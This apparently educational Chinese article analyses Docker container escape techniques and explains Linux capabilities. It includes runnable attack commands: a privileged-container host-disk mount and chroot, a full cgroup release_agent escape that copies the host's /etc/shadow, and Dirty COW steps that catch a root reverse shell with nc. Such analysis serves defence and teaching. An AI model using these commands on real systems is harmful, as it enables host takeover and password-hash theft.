6 min read

容器逃逸安全分析 (一)

容器逃逸安全分析(一)

一、业务场景中产生容器逃逸问题的常见漏洞点

1.1 特权容器逃逸

1.1.1 问题描述:

特权容器可以查看宿主机上的所有设备,因此一旦敌手处于特权容器内时可以通过在容器内挂载宿主机磁盘,然后切换所在的根目录,从而产生容器逃逸。

1.1.2 特权容器实验测试:

首先创建用于测试的特权容器:

docker run -it --privileged=true busybox:v1.0

特权容器内部可以看到宿主机的所有设备

fdisk -l | tail -n 2

进入宿主机内部挂载宿主机磁盘,然后将根目录切换过去

mount /dev/vda1 /host
chroot /host
cat /etc/passwd | grep username

1.2 Capabilities 容器逃逸

1.2.1 问题描述:

Linux内核自版本2.2启引入功能 (capabilities) 机制,允许普通用户通过 capabilities 机制执行超级用户权限的命令。通过 capabilities 机制可以更好的划分超级用户的权限,实现特权的细粒度管理。截止到Linux内核3.0版本,共有38种capabilities,Docker容器默认限制14个capabilities。

其中容器管理员在创建容器时可以通过 --cap-add 和 --cap-drop 选项为容器精确配置 capabilities 。

当容器以特权容器启动时默认将被赋予所有 capabilities 。

1.2.2 攻击路径:

敌手的攻击路径分为两个部分,首先根据拿到的 capabilities 进行判断,如果包含重要的 capabilities (一般为 SYSADMIN、DAC_READ_SEARCH、 SYS_MODULE 、 SYS_PTRACE) 则敌手可以直接进容器逃逸。如果拿到的为普通用户运行的具有部分权限的 cap 则可以通过 sudo、setuid等方式进行提权。

1.2.3 cap 参考

capability 名称 描述
CAP_AUDIT_CONTROL 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAP_AUDIT_READ 允许通过 multicast netlink 套接字读取审计日志
CAP_AUDIT_WRITE 将记录写入内核审计日志
CAP_BLOCK_SUSPEND 使用可以阻止系统挂起的特性
CAP_CHOWN 修改文件所有者的权限
CAP_DAC_OVERRIDE 忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH 忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID 允许设置文件的 setuid 位
CAP_IPC_LOCK 允许锁定共享内存片段
CAP_IPC_OWNER 忽略 IPC 所有权检查
CAP_KILL 允许对不属于自己的进程发送信号
CAP_LEASE 允许修改文件锁的 FL_LEASE 标志
CAP_LINUX_IMMUTABLE 允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAP_MAC_ADMIN 允许 MAC 配置或状态更改
CAP_MAC_OVERRIDE 覆盖 MAC(Mandatory Access Control)
CAP_MKNOD 允许使用 mknod() 系统调用
CAP_NET_ADMIN 允许执行网络管理任务
CAP_NET_BIND_SERVICE 允许绑定到小于 1024 的端口
CAP_NET_BROADCAST 允许网络广播和多播访问
CAP_NET_RAW 允许使用原始套接字
CAP_SETGID 允许改变进程的 GID
CAP_SETFCAP 允许为文件设置任意的 capabilities
CAP_SETPCAP 参考 capabilities man page
CAP_SETUID 允许改变进程的 UID
CAP_SYS_ADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAP_SYS_BOOT 允许重新启动系统
CAP_SYS_CHROOT 允许使用 chroot() 系统调用
CAP_SYS_MODULE 允许插入和删除内核模块
CAP_SYS_NICE 允许提升优先级及设置其他进程的优先级
CAP_SYS_PACCT 允许执行进程的 BSD 式审计
CAP_SYS_PTRACE 允许跟踪任何进程
CAP_SYS_RAWIO 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAP_SYS_RESOURCE 忽略资源限制
CAP_SYS_TIME 允许改变系统时钟
CAP_SYS_TTY_CONFIG 允许配置 TTY 设备
CAP_SYSLOG 允许使用 syslog() 系统调用
CAP_WAKE_ALARM 允许触发一些能唤醒系统的东西(比如 CLOCK_BOOTTIME_ALARM 计时器)

1.2.4 cap 容器逃逸实验测试

创建具有SYS_ADMIN类型的特权容器

docker run --name sys_admin -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined busybox:v1.0 /bin/bash
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 写入宿主机调用的release_agent文件(指向攻击脚本)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 写入攻击的脚本并赋予执行权限
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
# 进程调用再退出时,触发执行release_agent 文件
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

1.3 通信问题逃逸

在主机上执行docker命令时,默认通过位于 /var/run/docker.sock 的非联网UNIX套接字来控制docker容器的主API。一旦容器以读写形式挂载主机 docker.sock ,容器内攻击者便可以:

  1. 创建恶意容器,如特权容器,间接获得宿主机的CIA访问和控制能力;
  2. 调用docker的任意主API接口,获得宿主机的root进程权限。

Docker 客户端要和 Docker daemon 通过 REST API 通信 Unix socket (-H unix:///var/run/docker.sock) , 通过-H参数指定sock文件,操作容器

1.4 procfs 容器逃逸

runc漏洞CVE-2019-5736,因/proc目录隔离不彻底,攻击者可使用指向runc的文件/proc/self/exe替换容器中的目标文件/bin/bash来欺骗runc执行自身,进而攻击宿主机和其它容器。

1.5 敏感目录逃逸

1.6 其他攻击手段

1.6.1 容器信息侦查

敌手可以判断当前是否处于容器环境内,这里以docker容器举例,常用的检测方式如下:

  1. 检查/.dockerenv文件是否存在
  2. 检查/proc/1/cgroup内是否包含"docker"等字符串。

查询容器的cap权限

  1. getcap 程序检查容器内文件的cap权限
  2. Docker inspect -format {(.Config.CapAdd)}查看开启的Capbility

二、应用层容器逃逸问题分析

三、服务层与系统层问题收集

3.1 内核 Dirtycow漏洞进行逃逸 (CVE-2016-5195)

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝存在竞争条件,允许恶意用户提权获取其它只读内存映射的写访问权限。利用该漏洞,攻击者可在其目标系统提权。

VDSO,即内核提供的虚拟.so,该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root的shell。

操作步骤:

  1. 运行具有dirtycow的容器
  2. 本地开启nc:nc -lvp 1234
  3. 编译PoC并运行,等待shell反弹
  4. 通过ID命令确认shell为root权限
  5. 成功逃逸

Ref

[1] (capabilities Linux manual page) https://man7.org/linux/man-pages/man7/capabilities.7.html

[2] 容器逃逸原理 https://www.freebuf.com/articles/container/245153.html

[3] 容器逃逸案例汇集 https://www.cnblogs.com/xiaozi/p/13423853.html

[4] 逃逸安全总结 https://jishuin.proginn.com/p/763bfbd5c665